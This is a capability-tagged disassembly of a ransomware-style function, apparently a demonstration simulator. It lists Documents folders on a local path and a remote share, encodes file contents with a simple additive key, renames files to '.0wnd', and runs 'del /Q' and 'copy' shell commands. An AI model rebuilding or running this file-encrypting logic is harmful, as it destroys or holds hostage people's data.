Function at 0x401410
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x6b0
call sym.___main
mov dword [esp + 0x698], 0
mov dword [esp + 0x40b], 0x67666564
mov dword [esp + 0x1a6], 0x20202020
mov dword [esp + 0x1aa], 0x20202020
mov dword [esp + 0x1ae], 0x20202020
mov byte [esp + 0x1b2], 0
mov dword [esp + 0x142], 0x206c6564
mov dword [esp + 0x146], 0x745c3a63
mov dword [esp + 0x14a], 0x61657268
mov dword [esp + 0x14e], 0x61725c74
mov dword [esp + 0x152], 0x6d6f736e
mov dword [esp + 0x156], 0x65726177
mov dword [esp + 0x15a], 0x636f445c
mov dword [esp + 0x15e], 0x6e656d75
mov dword [esp + 0x162], 0x2a5c7374
mov dword [esp + 0x166], 0x2f202a2e
mov dword [esp + 0x16a], 0x203e2051
mov dword [esp + 0x16e], 0x4c554e
lea eax, [esp + 0x172]
mov ecx, 0x34
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xde]
mov ebx, str.del_officeserver.naseeast.com_ransomwareDocuments.__Q___NUL
mov edx, 0x42
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x120]
mov ecx, 0x22
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x7a]
mov ebx, str.copy_c:_threatImageDocuments._c:_threat_ransomwareDocuments.__Y___NUL
mov edx, 0x4f
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0xc9]
mov ecx, 0x15
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
and ecx, 0xfffffffc
mov eax, 0
mov dword [edx + eax], ebx
add eax, 4
cmp eax, ecx
jb 0x4015d8
add edx, eax
lea eax, [esp + 0x16]
mov ebx, str.copy_c:_threat_ransomwareOriginal._officeserver.naseeast.com_ransomwareDocuments.__Y___NUL
mov edx, 0x64
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x694], 0
mov dword [esp + 0x6ac], 0
mov dword [esp + 0x6a4], 0
mov dword [esp + 0x690], 0
mov dword [esp + 0x68c], 5
mov dword [esp + 0x6a4], 1
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
test eax, eax
je 0x40167d
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._atoi
mov dword [esp + 0x6a8], eax
cmp dword [esp + 0x6a8], 4
je 0x401fd3
cmp dword [esp + 0x6a8], 4
jg 0x4029d6
cmp dword [esp + 0x6a8], 3
je 0x401b59
cmp dword [esp + 0x6a8], 3
jg 0x4029d6
cmp dword [esp + 0x6a8], 1
je 0x4016ce
cmp dword [esp + 0x6a8], 2
je 0x4016df
jmp 0x4029d6
mov dword [esp], str.case_1
call sym._puts
jmp 0x4029d6
mov dword [esp + 8], str.Documents
mov dword [esp + 4], 0x407055
lea eax, [esp + 0x40f]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x40f]
mov dword [esp + 8], eax
mov dword [esp + 4], str.officeserver.naseeast.com_ransomware_s
lea eax, [esp + 0x44b]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x44b]
mov dword [esp + 0x64c], eax
mov eax, dword [esp + 0x64c]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x65c], eax
jmp 0x4017ba
cmp dword [esp + 0x6a4], 2
jle 0x4017b2
cmp dword [esp + 0x6a4], 3
jne 0x40178d
mov dword [esp], str.List_of_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x4017b2
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x65c]
mov dword [esp + 0x648], eax
mov eax, dword [esp + 0x648]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x678], eax
cmp dword [esp + 0x678], 0
jne 0x401746
mov eax, dword [esp + 0x65c]
mov dword [esp + 0x644], eax
mov eax, dword [esp + 0x644]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.start_officeserver.naseeast.com_ransomwareDocuments
call sym._system
cmp dword [esp + 0x690], 1
je 0x401830
mov dword [esp], str.Shall_we_encrypt_the_files_
call sym._puts
call sym._getchar
lea eax, [esp + 0x44b]
mov dword [esp + 0x640], eax
mov eax, dword [esp + 0x640]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x65c], eax
mov dword [esp + 0x6a4], 1
jmp 0x401b22
cmp dword [esp + 0x6a4], 2
jle 0x401b1a
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x44b]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x1b3]
mov dword [esp], eax
call sym._sprintf
cmp dword [esp + 0x690], 1
je 0x4018c3
lea eax, [esp + 0x1b3]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._Sleeper
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x1b3]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x658], eax
cmp dword [esp + 0x658], 0
jne 0x401923
mov dword [esp], str.Error_in_opening_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.temp.txt
call sym._fopen
mov dword [esp + 0x654], eax
cmp dword [esp + 0x654], 0
jne 0x401980
mov dword [esp], str.Error_in_creating_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 0x6a0], 0
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x650], eax
cmp dword [esp + 0x650], 0xffffffff
je 0x4019f5
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
movsx eax, al
add dword [esp + 0x650], eax
mov eax, dword [esp + 0x654]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x650]
mov dword [esp], eax
call sym._fputc
jmp 0x40198b
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x654]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x6a0], 0
mov eax, dword [esp + 0x654]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x650], eax
cmp dword [esp + 0x650], 0xffffffff
je 0x401aa9
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
movsx eax, al
add dword [esp + 0x650], eax
mov eax, dword [esp + 0x658]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x650]
mov dword [esp], eax
call sym._fputc
jmp 0x401a3f
nop
mov dword [esp], str.close_files
call sym._puts
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x654]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x1b3]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x2df]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x2df]
mov dword [esp + 4], eax
lea eax, [esp + 0x1b3]
mov dword [esp], eax
call sym._rename
jmp 0x401b22
add dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x65c]
mov dword [esp + 0x63c], eax
mov eax, dword [esp + 0x63c]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x678], eax
cmp dword [esp + 0x678], 0
jne 0x401864
jmp 0x4029d6
mov dword [esp + 8], str.Documents
mov dword [esp + 4], 0x407055
lea eax, [esp + 0x40f]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x40f]
mov dword [esp + 8], eax
mov dword [esp + 4], str.c:_threat_ransomware_s
lea eax, [esp + 0x44b]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x44b]
mov dword [esp + 0x638], eax
mov eax, dword [esp + 0x638]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x65c], eax
jmp 0x401c34
cmp dword [esp + 0x6a4], 2
jle 0x401c2c
cmp dword [esp + 0x6a4], 3
jne 0x401c07
mov dword [esp], str.List_of_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x401c2c
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x65c]
mov dword [esp + 0x634], eax
mov eax, dword [esp + 0x634]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x678], eax
cmp dword [esp + 0x678], 0
jne 0x401bc0
mov eax, dword [esp + 0x65c]
mov dword [esp + 0x630], eax
mov eax, dword [esp + 0x630]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.start_c:_threat_ransomwareDocuments
call sym._system
cmp dword [esp + 0x690], 1
je 0x401caa
mov dword [esp], str.Shall_we_encrypt_the_files_
call sym._puts
call sym._getchar
lea eax, [esp + 0x44b]
mov dword [esp + 0x62c], eax
mov eax, dword [esp + 0x62c]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x65c], eax
mov dword [esp + 0x6a4], 1
jmp 0x401f9c
cmp dword [esp + 0x6a4], 2
jle 0x401f94
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x44b]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x1b3]
mov dword [esp], eax
call sym._sprintf
cmp dword [esp + 0x690], 1
je 0x401d3d
lea eax, [esp + 0x1b3]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._Sleeper
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x1b3]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x658], eax
cmp dword [esp + 0x658], 0
jne 0x401d9d
mov dword [esp], str.Error_in_opening_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.temp.txt
call sym._fopen
mov dword [esp + 0x654], eax
cmp dword [esp + 0x654], 0
jne 0x401dfa
mov dword [esp], str.Error_in_creating_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 0x6a0], 0
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x650], eax
cmp dword [esp + 0x650], 0xffffffff
je 0x401e6f
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
movsx eax, al
add dword [esp + 0x650], eax
mov eax, dword [esp + 0x654]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x650]
mov dword [esp], eax
call sym._fputc
jmp 0x401e05
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x654]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x6a0], 0
mov eax, dword [esp + 0x654]
mov dword [esp], eax
call sym._fgetc
mov dword [esp + 0x650], eax
cmp dword [esp + 0x650], 0xffffffff
je 0x401f23
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
movsx eax, al
add dword [esp + 0x650], eax
mov eax, dword [esp + 0x658]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x650]
mov dword [esp], eax
call sym._fputc
jmp 0x401eb9
nop
mov dword [esp], str.close_files
call sym._puts
mov eax, dword [esp + 0x658]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x654]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x1b3]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x2df]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x2df]
mov dword [esp + 4], eax
lea eax, [esp + 0x1b3]
mov dword [esp], eax
call sym._rename
jmp 0x401f9c
add dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x65c]
mov dword [esp + 0x628], eax
mov eax, dword [esp + 0x628]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x678], eax
cmp dword [esp + 0x678], 0
jne 0x401cde
jmp 0x4029d6
mov dword [esp + 0x688], 1
mov dword [esp], str.LIVE_DEMO
call sym._puts
mov dword [esp + 0x624], 0x4071e0
mov eax, dword [esp + 0x624]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x684], eax
cmp dword [esp + 0x684], 0
je 0x40204a
mov eax, dword [esp + 0x684]
mov dword [esp + 0x620], eax
mov eax, dword [esp + 0x620]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.del_c:_threat_ransomwaredocuments__Q
call sym._system
mov dword [esp], str.copy_c:_threatimagedocuments_c:_threat_ransomwaredocuments__NUL
call sym._system
mov dword [esp + 4], str.c:_threat_ransomwareDocuments
lea eax, [esp + 0x4b9]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], str.officeserver.naseeast.com_ransomwareDocuments
lea eax, [esp + 0x482]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x4b9]
mov dword [esp + 0x618], eax
mov eax, dword [esp + 0x618]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x680], eax
lea eax, [esp + 0x482]
mov dword [esp + 0x61c], eax
mov eax, dword [esp + 0x61c]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x67c], eax
jmp 0x402136
cmp dword [esp + 0x6a4], 2
jle 0x40212e
cmp dword [esp + 0x6a4], 3
jne 0x402109
mov dword [esp], str.List_of_remote_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x40212e
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x67c]
mov dword [esp + 0x614], eax
mov eax, dword [esp + 0x614]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x678], eax
cmp dword [esp + 0x678], 0
jne 0x4020c2
mov dword [esp + 0x6a4], 1
jmp 0x4021e9
cmp dword [esp + 0x6a4], 2
jle 0x4021e1
cmp dword [esp + 0x6a4], 3
jne 0x4021bc
mov dword [esp], str.List_of_Local_files_to_be_attacked
call sym._puts
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
jmp 0x4021e1
mov eax, dword [esp + 0x678]
add eax, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._s_s_n
call sym._printf
add dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x680]
mov dword [esp + 0x610], eax
mov eax, dword [esp + 0x610]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x678], eax
cmp dword [esp + 0x678], 0
jne 0x402175
mov eax, dword [esp + 0x67c]
mov dword [esp + 0x608], eax
mov eax, dword [esp + 0x608]
mov dword [esp], eax
call sym.___mingw_closedir
mov eax, dword [esp + 0x680]
mov dword [esp + 0x60c], eax
mov eax, dword [esp + 0x60c]
mov dword [esp], eax
call sym.___mingw_closedir
mov dword [esp], str.Opening_remote_drive_to_see_attack
call sym._puts
mov dword [esp], str.start_officeserver.naseeast.com_ransomwareDocuments
call sym._system
mov dword [esp], str.Opening_local_drive_to_see_attack
call sym._puts
mov dword [esp], str.start_c:_threat_ransomwareDocuments
call sym._system
mov dword [esp], str.c:Program_FilesSophosSophos_UISophos_UI.exe
call sym._system
cmp dword [esp + 0x690], 1
je 0x4022ac
mov dword [esp], str.Return_to_continue_and_start_encryption_process
call sym._puts
call sym._getchar
lea eax, [esp + 0x482]
mov dword [esp + 0x600], eax
mov eax, dword [esp + 0x600]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x67c], eax
lea eax, [esp + 0x4b9]
mov dword [esp + 0x604], eax
mov eax, dword [esp + 0x604]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [esp + 0x680], eax
mov dword [esp + 0x6a4], 1
mov eax, dword [esp + 0x680]
mov dword [esp + 0x5f8], eax
mov eax, dword [esp + 0x5f8]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x674], eax
mov eax, dword [esp + 0x67c]
mov dword [esp + 0x5fc], eax
mov eax, dword [esp + 0x5fc]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [esp + 0x670], eax
cmp dword [esp + 0x6a4], 2
jle 0x4029c9
cmp dword [esp + 0x6ac], 1
je 0x4023c1
mov eax, dword [esp + 0x670]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x482]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x27b]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [esp + 0x674]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x4b9]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x3a7]
mov dword [esp], eax
call sym._sprintf
jmp 0x4023f1
mov eax, dword [esp + 0x674]
add eax, 0xc
mov dword [esp + 0xc], eax
lea eax, [esp + 0x4b9]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070ff
lea eax, [esp + 0x3a7]
mov dword [esp], eax
call sym._sprintf
cmp dword [esp + 0x690], 1
je 0x40244c
cmp dword [esp + 0x6ac], 1
je 0x402435
lea eax, [esp + 0x27b]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
lea eax, [esp + 0x3a7]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
jmp 0x40244c
lea eax, [esp + 0x3a7]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypting__s_n
call sym._printf
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
call sym._Sleeper
cmp dword [esp + 0x6ac], 1
je 0x402483
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x27b]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x69c], eax
cmp dword [esp + 0x6ac], 1
je 0x402519
cmp dword [esp + 0x69c], 0
jne 0x402519
cmp dword [esp + 0x6a4], 3
jle 0x4024e1
mov dword [esp], 0x407398
call sym._puts
lea eax, [esp + 0x1a6]
mov dword [esp + 4], eax
mov dword [esp], str._sRansomware_attack_stopped_on_server_n
call sym._printf
mov dword [esp + 0x6ac], 1
mov dword [esp], 0x407398
call sym._puts
jmp 0x402519
mov dword [esp], str.Error_in_opening__remote_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov eax, dword [esp + 0x69c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.rem_temp.txt
call sym._fopen
mov dword [esp + 0x66c], eax
cmp dword [esp + 0x66c], 0
jne 0x402576
mov dword [esp], str.Error_in_creating_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x69c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 4], 0x407114
lea eax, [esp + 0x3a7]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x668], eax
cmp dword [esp + 0x668], 0
jne 0x4025ee
cmp dword [esp + 0x6ac], 1
jne 0x4025b6
mov dword [esp], str.Exiting
call sym._puts
jmp 0x4025ee
mov dword [esp], str.Error_in_opening_local_file..__
call sym._printf
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
mov eax, dword [esp + 0x668]
mov dword [esp], eax
call sym._fclose
call sym._getch
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x40714c
mov dword [esp], str.loc_temp.txt
call sym._fopen
mov dword [esp + 0x664], eax
cmp dword [esp + 0x664], 0
jne 0x40264b
mov dword [esp], str.Error_in_creating_local_temp.txt_file..__
call sym._printf
mov eax, dword [esp + 0x664]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str._nPress_any_key_to_exit...
call sym._printf
call sym._getch
mov dword [esp], 2
call sym._exit
mov dword [esp + 0x6a0], 0
cmp dword [esp + 0x6ac], 1
je 0x402771
mov eax, dword [esp + 0x69c]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x663], al
cmp byte [esp + 0x663], 0xff
je 0x4026d8
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
mov edx, eax
movzx eax, byte [esp + 0x663]
add eax, edx
mov byte [esp + 0x663], al
movsx eax, byte [esp + 0x663]
mov edx, dword [esp + 0x66c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x402664
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x69c]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x66c]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x6a0], 0
mov eax, dword [esp + 0x66c]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x663], al
cmp byte [esp + 0x663], 0xff
je 0x402770
mov eax, dword [esp + 0x6a0]
add eax, 1
mov dword [esp + 0x6a0], eax
movsx eax, byte [esp + 0x663]
mov edx, dword [esp + 0x69c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x402722
nop
mov eax, dword [esp + 0x668]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x662], al
cmp byte [esp + 0x662], 0xff
je 0x4027e5
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
mov edx, eax
movzx eax, byte [esp + 0x662]
add eax, edx
mov byte [esp + 0x662], al
movsx eax, byte [esp + 0x662]
mov edx, dword [esp + 0x664]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x402771
nop
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x668]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x664]
mov dword [esp], eax
call sym._fseek
mov dword [esp + 0x6a0], 0
mov eax, dword [esp + 0x664]
mov dword [esp], eax
call sym._fgetc
mov byte [esp + 0x662], al
cmp byte [esp + 0x662], 0xff
je 0x4028a3
mov eax, dword [esp + 0x6a0]
lea edx, [eax + 1]
mov dword [esp + 0x6a0], edx
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
movzx eax, byte [esp + eax + 0x40b]
mov edx, eax
movzx eax, byte [esp + 0x662]
add eax, edx
mov byte [esp + 0x662], al
movsx eax, byte [esp + 0x662]
mov edx, dword [esp + 0x668]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._fputc
jmp 0x40282f
nop
mov eax, dword [esp + 0x69c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x66c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x664]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x668]
mov dword [esp], eax
call sym._fclose
cmp dword [esp + 0x6ac], 1
je 0x402978
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x27b]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x217]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x217]
mov dword [esp + 4], eax
lea eax, [esp + 0x27b]
mov dword [esp], eax
call sym._rename
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x3a7]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x343]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x343]
mov dword [esp + 4], eax
lea eax, [esp + 0x3a7]
mov dword [esp], eax
call sym._rename
jmp 0x4029bc
mov dword [esp + 0xc], str..0wnd
lea eax, [esp + 0x3a7]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [esp + 0x343]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x343]
mov dword [esp + 4], eax
lea eax, [esp + 0x3a7]
mov dword [esp], eax
call sym._rename
add dword [esp + 0x6a4], 1
jmp 0x4022ff
add dword [esp + 0x6a4], 1
jmp 0x4022ff
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret